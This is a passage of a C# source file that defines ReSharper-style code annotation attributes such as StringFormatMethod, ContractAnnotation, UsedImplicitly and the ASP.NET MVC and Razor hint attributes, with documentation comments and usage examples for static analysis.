Attribute { }\n\n    /// <summary>\n    /// Indicates that the marked method builds string by format pattern and (optional) arguments.\n    /// Parameter, which contains format string, should be given in constructor. The format string\n    /// should be in <see cref=\"string.Format(IFormatProvider,string,object[])\"/>-like form.\n    /// </summary>\n    /// <example><code>\n    /// [StringFormatMethod(\"message\")]\n    /// void ShowError(string message, params object[] args) { /* do something */ }\n    /// \n    /// void Foo() {\n    ///   ShowError(\"Failed: {0}\"); // Warning: Non-existing argument in format string\n    /// }\n    /// </code></example>\n    [AttributeUsage(\n      AttributeTargets.Constructor | AttributeTargets.Method |\n      AttributeTargets.Property | AttributeTargets.Delegate)]\n    internal sealed class StringFormatMethodAttribute : Attribute\n    {\n        /// <param name=\"formatParameterName\">\n        /// Specifies which parameter of an annotated method should be treated as format-string\n        /// </param>\n        public StringFormatMethodAttribute([NotNull] string formatParameterName)\n        {\n            FormatParameterName = formatParameterName;\n        }\n\n        [NotNull] public string FormatParameterName { get; private set; }\n    }\n\n    /// <summary>\n    /// For a parameter that is expected to be one of the limited set of values.\n    /// Specify fields of which type should be used as values for this parameter.\n    /// </summary>\n    [AttributeUsage(\n      AttributeTargets.Parameter | AttributeTargets.Property | AttributeTargets.Field,\n      AllowMultiple = true)]\n    internal sealed class ValueProviderAttribute : Attribute\n    {\n        public ValueProviderAttribute([NotNull] string name)\n        {\n            Name = name;\n        }\n\n        [NotNull] public string Name { get; private set; }\n    }\n\n    /// <summary>\n    /// Indicates that the function argument should be string literal and match one\n    /// of the parameters of the caller function. For example, ReSharper annotates\n    /// the parameter of <see cref=\"System.ArgumentNullException\"/>.\n    /// </summary>\n    /// <example><code>\n    /// void Foo(string param) {\n    ///   if (param == null)\n    ///     throw new ArgumentNullException(\"par\"); // Warning: Cannot resolve symbol\n    /// }\n    /// </code></example>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class InvokerParameterNameAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that the method is contained in a type that implements\n    /// <c>System.ComponentModel.INotifyPropertyChanged</c> interface and this method\n    /// is used to notify that some property value changed.\n    /// </summary>\n    /// <remarks>\n    /// The method should be non-static and conform to one of the supported signatures:\n    /// <list>\n    /// <item><c>NotifyChanged(string)</c></item>\n    /// <item><c>NotifyChanged(params string[])</c></item>\n    /// <item><c>NotifyChanged{T}(Expression{Func{T}})</c></item>\n    /// <item><c>NotifyChanged{T,U}(Expression{Func{T,U}})</c></item>\n    /// <item><c>SetProperty{T}(ref T, T, string)</c></item>\n    /// </list>\n    /// </remarks>\n    /// <example><code>\n    /// public class Foo : INotifyPropertyChanged {\n    ///   public event PropertyChangedEventHandler PropertyChanged;\n    /// \n    ///   [NotifyPropertyChangedInvocator]\n    ///   protected virtual void NotifyChanged(string propertyName) { ... }\n    ///\n    ///   string _name;\n    /// \n    ///   public string Name {\n    ///     get { return _name; }\n    ///     set { _name = value; NotifyChanged(\"LastName\"); /* Warning */ }\n    ///   }\n    /// }\n    /// </code>\n    /// Examples of generated notifications:\n    /// <list>\n    /// <item><c>NotifyChanged(\"Property\")</c></item>\n    /// <item><c>NotifyChanged(() =&gt; Property)</c></item>\n    /// <item><c>NotifyChanged((VM x) =&gt; x.Property)</c></item>\n    /// <item><c>SetProperty(ref myField, value, \"Property\")</c></item>\n    /// </list>\n    /// </example>\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class NotifyPropertyChangedInvocatorAttribute : Attribute\n    {\n        public NotifyPropertyChangedInvocatorAttribute() { }\n        public NotifyPropertyChangedInvocatorAttribute([NotNull] string parameterName)\n        {\n            ParameterName = parameterName;\n        }\n\n        [CanBeNull] public string ParameterName { get; private set; }\n    }\n\n    /// <summary>\n    /// Describes dependency between method input and output.\n    /// </summary>\n    /// <syntax>\n    /// <p>Function Definition Table syntax:</p>\n    /// <list>\n    /// <item>FDT      ::= FDTRow [;FDTRow]*</item>\n    /// <item>FDTRow   ::= Input =&gt; Output | Output &lt;= Input</item>\n    /// <item>Input    ::= ParameterName: Value [, Input]*</item>\n    /// <item>Output   ::= [ParameterName: Value]* {halt|stop|void|nothing|Value}</item>\n    /// <item>Value    ::= true | false | null | notnull | canbenull</item>\n    /// </list>\n    /// If method has single input parameter, it's name could be omitted.<br/>\n    /// Using <c>halt</c> (or <c>void</c>/<c>nothing</c>, which is the same) for method output\n    /// means that the methos doesn't return normally (throws or terminates the process).<br/>\n    /// Value <c>canbenull</c> is only applicable for output parameters.<br/>\n    /// You can use multiple <c>[ContractAnnotation]</c> for each FDT row, or use single attribute\n    /// with rows separated by semicolon. There is no notion of order rows, all rows are checked\n    /// for applicability and applied per each program state tracked by R# analysis.<br/>\n    /// </syntax>\n    /// <examples><list>\n    /// <item><code>\n    /// [ContractAnnotation(\"=&gt; halt\")]\n    /// public void TerminationMethod()\n    /// </code></item>\n    /// <item><code>\n    /// [ContractAnnotation(\"halt &lt;= condition: false\")]\n    /// public void Assert(bool condition, string text) // regular assertion method\n    /// </code></item>\n    /// <item><code>\n    /// [ContractAnnotation(\"s:null =&gt; true\")]\n    /// public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty()\n    /// </code></item>\n    /// <item><code>\n    /// // A method that returns null if the parameter is null,\n    /// // and not null if the parameter is not null\n    /// [ContractAnnotation(\"null =&gt; null; notnull =&gt; notnull\")]\n    /// public object Transform(object data) \n    /// </code></item>\n    /// <item><code>\n    /// [ContractAnnotation(\"=&gt; true, result: notnull; =&gt; false, result: null\")]\n    /// public bool TryParse(string s, out Person result)\n    /// </code></item>\n    /// </list></examples>\n    [AttributeUsage(AttributeTargets.Method, AllowMultiple = true)]\n    internal sealed class ContractAnnotationAttribute : Attribute\n    {\n        public ContractAnnotationAttribute([NotNull] string contract)\n          : this(contract, false) { }\n\n        public ContractAnnotationAttribute([NotNull] string contract, bool forceFullStates)\n        {\n            Contract = contract;\n            ForceFullStates = forceFullStates;\n        }\n\n        [NotNull] public string Contract { get; private set; }\n\n        public bool ForceFullStates { get; private set; }\n    }\n\n    /// <summary>\n    /// Indicates that marked element should be localized or not.\n    /// </summary>\n    /// <example><code>\n    /// [LocalizationRequiredAttribute(true)]\n    /// class Foo {\n    ///   string str = \"my string\"; // Warning: Localizable string\n    /// }\n    /// </code></example>\n    [AttributeUsage(AttributeTargets.All)]\n    internal sealed class LocalizationRequiredAttribute : Attribute\n    {\n        public LocalizationRequiredAttribute() : this(true) { }\n\n        public LocalizationRequiredAttribute(bool required)\n        {\n            Required = required;\n        }\n\n        public bool Required { get; private set; }\n    }\n\n    /// <summary>\n    /// Indicates that the value of the marked type (or its derivatives)\n    /// cannot be compared using '==' or '!=' operators and <c>Equals()</c>\n    /// should be used instead. However, using '==' or '!=' for comparison\n    /// with <c>null</c> is always permitted.\n    /// </summary>\n    /// <example><code>\n    /// [CannotApplyEqualityOperator]\n    /// class NoEquality { }\n    /// \n    /// class UsesNoEquality {\n    ///   void Test() {\n    ///     var ca1 = new NoEquality();\n    ///     var ca2 = new NoEquality();\n    ///     if (ca1 != null) { // OK\n    ///       bool condition = ca1 == ca2; // Warning\n    ///     }\n    ///   }\n    /// }\n    /// </code></example>\n    [AttributeUsage(AttributeTargets.Interface | AttributeTargets.Class | AttributeTargets.Struct)]\n    internal sealed class CannotApplyEqualityOperatorAttribute : Attribute { }\n\n    /// <summary>\n    /// When applied to a target attribute, specifies a requirement for any type marked\n    /// with the target attribute to implement or inherit specific type or types.\n    /// </summary>\n    /// <example><code>\n    /// [BaseTypeRequired(typeof(IComponent)] // Specify requirement\n    /// class ComponentAttribute : Attribute { }\n    /// \n    /// [Component] // ComponentAttribute requires implementing IComponent interface\n    /// class MyComponent : IComponent { }\n    /// </code></example>\n    [AttributeUsage(AttributeTargets.Class, AllowMultiple = true)]\n    [BaseTypeRequired(typeof(Attribute))]\n    internal sealed class BaseTypeRequiredAttribute : Attribute\n    {\n        public BaseTypeRequiredAttribute([NotNull] Type baseType)\n        {\n            BaseType = baseType;\n        }\n\n        [NotNull] public Type BaseType { get; private set; }\n    }\n\n    /// <summary>\n    /// Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library),\n    /// so this symbol will not be marked as unused (as well as by other usage inspections).\n    /// </summary>\n    [AttributeUsage(AttributeTargets.All)]\n    internal sealed class UsedImplicitlyAttribute : Attribute\n    {\n        public UsedImplicitlyAttribute()\n          : this(ImplicitUseKindFlags.Default, ImplicitUseTargetFlags.Default) { }\n\n        public UsedImplicitlyAttribute(ImplicitUseKindFlags useKindFlags)\n          : this(useKindFlags, ImplicitUseTargetFlags.Default) { }\n\n        public UsedImplicitlyAttribute(ImplicitUseTargetFlags targetFlags)\n          : this(ImplicitUseKindFlags.Default, targetFlags) { }\n\n        public UsedImplicitlyAttribute(ImplicitUseKindFlags useKindFlags, ImplicitUseTargetFlags targetFlags)\n        {\n            UseKindFlags = useKindFlags;\n            TargetFlags = targetFlags;\n        }\n\n        public ImplicitUseKindFlags UseKindFlags { get; private set; }\n\n        public ImplicitUseTargetFlags TargetFlags { get; private set; }\n    }\n\n    /// <summary>\n    /// Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes\n    /// as unused (as well as by other usage inspections)\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Class | AttributeTargets.GenericParameter)]\n    internal sealed class MeansImplicitUseAttribute : Attribute\n    {\n        public MeansImplicitUseAttribute()\n          : this(ImplicitUseKindFlags.Default, ImplicitUseTargetFlags.Default) { }\n\n        public MeansImplicitUseAttribute(ImplicitUseKindFlags useKindFlags)\n          : this(useKindFlags, ImplicitUseTargetFlags.Default) { }\n\n        public MeansImplicitUseAttribute(ImplicitUseTargetFlags targetFlags)\n          : this(ImplicitUseKindFlags.Default, targetFlags) { }\n\n        public MeansImplicitUseAttribute(ImplicitUseKindFlags useKindFlags, ImplicitUseTargetFlags targetFlags)\n        {\n            UseKindFlags = useKindFlags;\n            TargetFlags = targetFlags;\n        }\n\n        [UsedImplicitly] public ImplicitUseKindFlags UseKindFlags { get; private set; }\n\n        [UsedImplicitly] public ImplicitUseTargetFlags TargetFlags { get; private set; }\n    }\n\n    [Flags]\n    internal enum ImplicitUseKindFlags\n    {\n        Default = Access | Assign | InstantiatedWithFixedConstructorSignature,\n        /// <summary>Only entity marked with attribute considered used.</summary>\n        Access = 1,\n        /// <summary>Indicates implicit assignment to a member.</summary>\n        Assign = 2,\n        /// <summary>\n        /// Indicates implicit instantiation of a type with fixed constructor signature.\n        /// That means any unused constructor parameters won't be reported as such.\n        /// </summary>\n        InstantiatedWithFixedConstructorSignature = 4,\n        /// <summary>Indicates implicit instantiation of a type.</summary>\n        InstantiatedNoFixedConstructorSignature = 8,\n    }\n\n    /// <summary>\n    /// Specify what is considered used implicitly when marked\n    /// with <see cref=\"MeansImplicitUseAttribute\"/> or <see cref=\"UsedImplicitlyAttribute\"/>.\n    /// </summary>\n    [Flags]\n    internal enum ImplicitUseTargetFlags\n    {\n        Default = Itself,\n        Itself = 1,\n        /// <summary>Members of entity marked with attribute are considered used.</summary>\n        Members = 2,\n        /// <summary>Entity marked with attribute and all its members considered used.</summary>\n        WithMembers = Itself | Members\n    }\n\n    /// <summary>\n    /// This attribute is intended to mark publicly available API\n    /// which should not be removed and so is treated as used.\n    /// </summary>\n    [MeansImplicitUse(ImplicitUseTargetFlags.WithMembers)]\n    internal sealed class PublicAPIAttribute : Attribute\n    {\n        public PublicAPIAttribute() { }\n\n        public PublicAPIAttribute([NotNull] string comment)\n        {\n            Comment = comment;\n        }\n\n        [CanBeNull] public string Comment { get; private set; }\n    }\n\n    /// <summary>\n    /// Tells code analysis engine if the parameter is completely handled when the invoked method is on stack.\n    /// If the parameter is a delegate, indicates that delegate is executed while the method is executed.\n    /// If the parameter is an enumerable, indicates that it is enumerated while the method is executed.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class InstantHandleAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that a method does not make any observable state changes.\n    /// The same as <c>System.Diagnostics.Contracts.PureAttribute</c>.\n    /// </summary>\n    /// <example><code>\n    /// [Pure] int Multiply(int x, int y) => x * y;\n    /// \n    /// void M() {\n    ///   Multiply(123, 42); // Waring: Return value of pure method is not used\n    /// }\n    /// </code></example>\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class PureAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that the return value of method invocation must be used.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class MustUseReturnValueAttribute : Attribute\n    {\n        public MustUseReturnValueAttribute() { }\n\n        public MustUseReturnValueAttribute([NotNull] string justification)\n        {\n            Justification = justification;\n        }\n\n        [CanBeNull] public string Justification { get; private set; }\n    }\n\n    /// <summary>\n    /// Indicates the type member or parameter of some type, that should be used instead of all other ways\n    /// to get the value that type. This annotation is useful when you have some \"context\" value evaluated\n    /// and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one.\n    /// </summary>\n    /// <example><code>\n    /// class Foo {\n    ///   [ProvidesContext] IBarService _barService = ...;\n    /// \n    ///   void ProcessNode(INode node) {\n    ///     DoSomething(node, node.GetGlobalServices().Bar);\n    ///     //              ^ Warning: use value of '_barService' field\n    ///   }\n    /// }\n    /// </code></example>\n    [AttributeUsage(\n      AttributeTargets.Field | AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.Method |\n      AttributeTargets.Class | AttributeTargets.Interface | AttributeTargets.Struct | AttributeTargets.GenericParameter)]\n    internal sealed class ProvidesContextAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that a parameter is a path to a file or a folder within a web project.\n    /// Path can be relative or absolute, starting from web root (~).\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class PathReferenceAttribute : Attribute\n    {\n        public PathReferenceAttribute() { }\n\n        public PathReferenceAttribute([NotNull, PathReference] string basePath)\n        {\n            BasePath = basePath;\n        }\n\n        [CanBeNull] public string BasePath { get; private set; }\n    }\n\n    /// <summary>\n    /// An extension method marked with this attribute is processed by ReSharper code completion\n    /// as a 'Source Template'. When extension method is completed over some expression, it's source code\n    /// is automatically expanded like a template at call site.\n    /// </summary>\n    /// <remarks>\n    /// Template method body can contain valid source code and/or special comments starting with '$'.\n    /// Text inside these comments is added as source code when the template is applied. Template parameters\n    /// can be used either as additional method parameters or as identifiers wrapped in two '$' signs.\n    /// Use the <see cref=\"MacroAttribute\"/> attribute to specify macros for parameters.\n    /// </remarks>\n    /// <example>\n    /// In this example, the 'forEach' method is a source template available over all values\n    /// of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block:\n    /// <code>\n    /// [SourceTemplate]\n    /// public static void forEach&lt;T&gt;(this IEnumerable&lt;T&gt; xs) {\n    ///   foreach (var x in xs) {\n    ///      //$ $END$\n    ///   }\n    /// }\n    /// </code>\n    /// </example>\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class SourceTemplateAttribute : Attribute { }\n\n    /// <summary>\n    /// Allows specifying a macro for a parameter of a <see cref=\"SourceTemplateAttribute\">source template</see>.\n    /// </summary>\n    /// <remarks>\n    /// You can apply the attribute on the whole method or on any of its additional parameters. The macro expression\n    /// is defined in the <see cref=\"MacroAttribute.Expression\"/> property. When applied on a method, the target\n    /// template parameter is defined in the <see cref=\"MacroAttribute.Target\"/> property. To apply the macro silently\n    /// for the parameter, set the <see cref=\"MacroAttribute.Editable\"/> property value = -1.\n    /// </remarks>\n    /// <example>\n    /// Applying the attribute on a source template method:\n    /// <code>\n    /// [SourceTemplate, Macro(Target = \"item\", Expression = \"suggestVariableName()\")]\n    /// public static void forEach&lt;T&gt;(this IEnumerable&lt;T&gt; collection) {\n    ///   foreach (var item in collection) {\n    ///     //$ $END$\n    ///   }\n    /// }\n    /// </code>\n    /// Applying the attribute on a template method parameter:\n    /// <code>\n    /// [SourceTemplate]\n    /// public static void something(this Entity x, [Macro(Expression = \"guid()\", Editable = -1)] string newguid) {\n    ///   /*$ var $x$Id = \"$newguid$\" + x.ToString();\n    ///   x.DoSomething($x$Id); */\n    /// }\n    /// </code>\n    /// </example>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Method, AllowMultiple = true)]\n    internal sealed class MacroAttribute : Attribute\n    {\n        /// <summary>\n        /// Allows specifying a macro that will be executed for a <see cref=\"SourceTemplateAttribute\">source template</see>\n        /// parameter when the template is expanded.\n        /// </summary>\n        [CanBeNull] public string Expression { get; set; }\n\n        /// <summary>\n        /// Allows specifying which occurrence of the target parameter becomes editable when the template is deployed.\n        /// </summary>\n        /// <remarks>\n        /// If the target parameter is used several times in the template, only one occurrence becomes editable;\n        /// other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence,\n        /// use values >= 0. To make the parameter non-editable when the template is expanded, use -1.\n        /// </remarks>>\n        public int Editable { get; set; }\n\n        /// <summary>\n        /// Identifies the target parameter of a <see cref=\"SourceTemplateAttribute\">source template</see> if the\n        /// <see cref=\"MacroAttribute\"/> is applied on a template method.\n        /// </summary>\n        [CanBeNull] public string Target { get; set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = true)]\n    internal sealed class AspMvcAreaMasterLocationFormatAttribute : Attribute\n    {\n        public AspMvcAreaMasterLocationFormatAttribute([NotNull] string format)\n        {\n            Format = format;\n        }\n\n        [NotNull] public string Format { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = true)]\n    internal sealed class AspMvcAreaPartialViewLocationFormatAttribute : Attribute\n    {\n        public AspMvcAreaPartialViewLocationFormatAttribute([NotNull] string format)\n        {\n            Format = format;\n        }\n\n        [NotNull] public string Format { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = true)]\n    internal sealed class AspMvcAreaViewLocationFormatAttribute : Attribute\n    {\n        public AspMvcAreaViewLocationFormatAttribute([NotNull] string format)\n        {\n            Format = format;\n        }\n\n        [NotNull] public string Format { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = true)]\n    internal sealed class AspMvcMasterLocationFormatAttribute : Attribute\n    {\n        public AspMvcMasterLocationFormatAttribute([NotNull] string format)\n        {\n            Format = format;\n        }\n\n        [NotNull] public string Format { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = true)]\n    internal sealed class AspMvcPartialViewLocationFormatAttribute : Attribute\n    {\n        public AspMvcPartialViewLocationFormatAttribute([NotNull] string format)\n        {\n            Format = format;\n        }\n\n        [NotNull] public string Format { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Field | AttributeTargets.Property, AllowMultiple = true)]\n    internal sealed class AspMvcViewLocationFormatAttribute : Attribute\n    {\n        public AspMvcViewLocationFormatAttribute([NotNull] string format)\n        {\n            Format = format;\n        }\n\n        [NotNull] public string Format { get; private set; }\n    }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter\n    /// is an MVC action. If applied to a method, the MVC action name is calculated\n    /// implicitly from the context. Use this attribute for custom wrappers similar to\n    /// <c>System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Method)]\n    internal sealed class AspMvcActionAttribute : Attribute\n    {\n        public AspMvcActionAttribute() { }\n\n        public AspMvcActionAttribute([NotNull] string anonymousProperty)\n        {\n            AnonymousProperty = anonymousProperty;\n        }\n\n        [CanBeNull] public string AnonymousProperty { get; private set; }\n    }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. Indicates that a parameter is an MVC area.\n    /// Use this attribute for custom wrappers similar to\n    /// <c>System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AspMvcAreaAttribute : Attribute\n    {\n        public AspMvcAreaAttribute() { }\n\n        public AspMvcAreaAttribute([NotNull] string anonymousProperty)\n        {\n            AnonymousProperty = anonymousProperty;\n        }\n\n        [CanBeNull] public string AnonymousProperty { get; private set; }\n    }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is\n    /// an MVC controller. If applied to a method, the MVC controller name is calculated\n    /// implicitly from the context. Use this attribute for custom wrappers similar to\n    /// <c>System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Method)]\n    internal sealed class AspMvcControllerAttribute : Attribute\n    {\n        public AspMvcControllerAttribute() { }\n\n        public AspMvcControllerAttribute([NotNull] string anonymousProperty)\n        {\n            AnonymousProperty = anonymousProperty;\n        }\n\n        [CanBeNull] public string AnonymousProperty { get; private set; }\n    }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute\n    /// for custom wrappers similar to <c>System.Web.Mvc.Controller.View(String, String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AspMvcMasterAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute\n    /// for custom wrappers similar to <c>System.Web.Mvc.Controller.View(String, Object)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AspMvcModelTypeAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC\n    /// partial view. If applied to a method, the MVC partial view name is calculated implicitly\n    /// from the context. Use this attribute for custom wrappers similar to\n    /// <c>System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Method)]\n    internal sealed class AspMvcPartialViewAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Class | AttributeTargets.Method)]\n    internal sealed class AspMvcSuppressViewErrorAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. Indicates that a parameter is an MVC display template.\n    /// Use this attribute for custom wrappers similar to \n    /// <c>System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AspMvcDisplayTemplateAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template.\n    /// Use this attribute for custom wrappers similar to\n    /// <c>System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AspMvcEditorTemplateAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. Indicates that a parameter is an MVC template.\n    /// Use this attribute for custom wrappers similar to\n    /// <c>System.ComponentModel.DataAnnotations.UIHintAttribute(System.String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AspMvcTemplateAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter\n    /// is an MVC view component. If applied to a method, the MVC view name is calculated implicitly\n    /// from the context. Use this attribute for custom wrappers similar to\n    /// <c>System.Web.Mvc.Controller.View(Object)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Method)]\n    internal sealed class AspMvcViewAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter\n    /// is an MVC view component name.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AspMvcViewComponentAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter\n    /// is an MVC view component view. If applied to a method, the MVC view component view name is default.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Method)]\n    internal sealed class AspMvcViewComponentViewAttribute : Attribute { }\n\n    /// <summary>\n    /// ASP.NET MVC attribute. When applied to a parameter of an attribute,\n    /// indicates that this parameter is an MVC action name.\n    /// </summary>\n    /// <example><code>\n    /// [ActionName(\"Foo\")]\n    /// public ActionResult Login(string returnUrl) {\n    ///   ViewBag.ReturnUrl = Url.Action(\"Foo\"); // OK\n    ///   return RedirectToAction(\"Bar\"); // Error: Cannot resolve action\n    /// }\n    /// </code></example>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Property)]\n    internal sealed class AspMvcActionSelectorAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Property | AttributeTargets.Field)]\n    internal sealed class HtmlElementAttributesAttribute : Attribute\n    {\n        public HtmlElementAttributesAttribute() { }\n\n        public HtmlElementAttributesAttribute([NotNull] string name)\n        {\n            Name = name;\n        }\n\n        [CanBeNull] public string Name { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Field | AttributeTargets.Property)]\n    internal sealed class HtmlAttributeValueAttribute : Attribute\n    {\n        public HtmlAttributeValueAttribute([NotNull] string name)\n        {\n            Name = name;\n        }\n\n        [NotNull] public string Name { get; private set; }\n    }\n\n    /// <summary>\n    /// Razor attribute. Indicates that a parameter or a method is a Razor section.\n    /// Use this attribute for custom wrappers similar to \n    /// <c>System.Web.WebPages.WebPageBase.RenderSection(String)</c>.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Method)]\n    internal sealed class RazorSectionAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates how method, constructor invocation or property access\n    /// over collection type affects content of the collection.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Method | AttributeTargets.Constructor | AttributeTargets.Property)]\n    internal sealed class CollectionAccessAttribute : Attribute\n    {\n        public CollectionAccessAttribute(CollectionAccessType collectionAccessType)\n        {\n            CollectionAccessType = collectionAccessType;\n        }\n\n        public CollectionAccessType CollectionAccessType { get; private set; }\n    }\n\n    [Flags]\n    internal enum CollectionAccessType\n    {\n        /// <summary>Method does not use or modify content of the collection.</summary>\n        None = 0,\n        /// <summary>Method only reads content of the collection but does not modify it.</summary>\n        Read = 1,\n        /// <summary>Method can change content of the collection but does not add new elements.</summary>\n        ModifyExistingContent = 2,\n        /// <summary>Method can add new elements to the collection.</summary>\n        UpdatedContent = ModifyExistingContent | 4\n    }\n\n    /// <summary>\n    /// Indicates that the marked method is assertion method, i.e. it halts control flow if\n    /// one of the conditions is satisfied. To set the condition, mark one of the parameters with \n    /// <see cref=\"AssertionConditionAttribute\"/> attribute.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class AssertionMethodAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates the condition parameter of the assertion method. The method itself should be\n    /// marked by <see cref=\"AssertionMethodAttribute\"/> attribute. The mandatory argument of\n    /// the attribute is the assertion type.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class AssertionConditionAttribute : Attribute\n    {\n        public AssertionConditionAttribute(AssertionConditionType conditionType)\n        {\n            ConditionType = conditionType;\n        }\n\n        public AssertionConditionType ConditionType { get; private set; }\n    }\n\n    /// <summary>\n    /// Specifies assertion type. If the assertion method argument satisfies the condition,\n    /// then the execution continues. Otherwise, execution is assumed to be halted.\n    /// </summary>\n    internal enum AssertionConditionType\n    {\n        /// <summary>Marked parameter should be evaluated to true.</summary>\n        IS_TRUE = 0,\n        /// <summary>Marked parameter should be evaluated to false.</summary>\n        IS_FALSE = 1,\n        /// <summary>Marked parameter should be evaluated to null value.</summary>\n        IS_NULL = 2,\n        /// <summary>Marked parameter should be evaluated to not null value.</summary>\n        IS_NOT_NULL = 3,\n    }\n\n    /// <summary>\n    /// Indicates that the marked method unconditionally terminates control flow execution.\n    /// For example, it could unconditionally throw exception.\n    /// </summary>\n    [Obsolete(\"Use [ContractAnnotation('=> halt')] instead\")]\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class TerminatesProgramAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select,\n    /// .Where). This annotation allows inference of [InstantHandle] annotation for parameters\n    /// of delegate type by analyzing LINQ method chains.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class LinqTunnelAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that IEnumerable, passed as parameter, is not enumerated.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class NoEnumerationAttribute : Attribute { }\n\n    /// <summary>\n    /// Indicates that parameter is regular expression pattern.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class RegexPatternAttribute : Attribute { }\n\n    /// <summary>\n    /// Prevents the Member Reordering feature from tossing members of the marked class.\n    /// </summary>\n    /// <remarks>\n    /// The attribute must be mentioned in your member reordering patterns\n    /// </remarks>\n    [AttributeUsage(\n      AttributeTargets.Class | AttributeTargets.Interface | AttributeTargets.Struct | AttributeTargets.Enum)]\n    internal sealed class NoReorderAttribute : Attribute { }\n\n    /// <summary>\n    /// XAML attribute. Indicates the type that has <c>ItemsSource</c> property and should be treated\n    /// as <c>ItemsControl</c>-derived type, 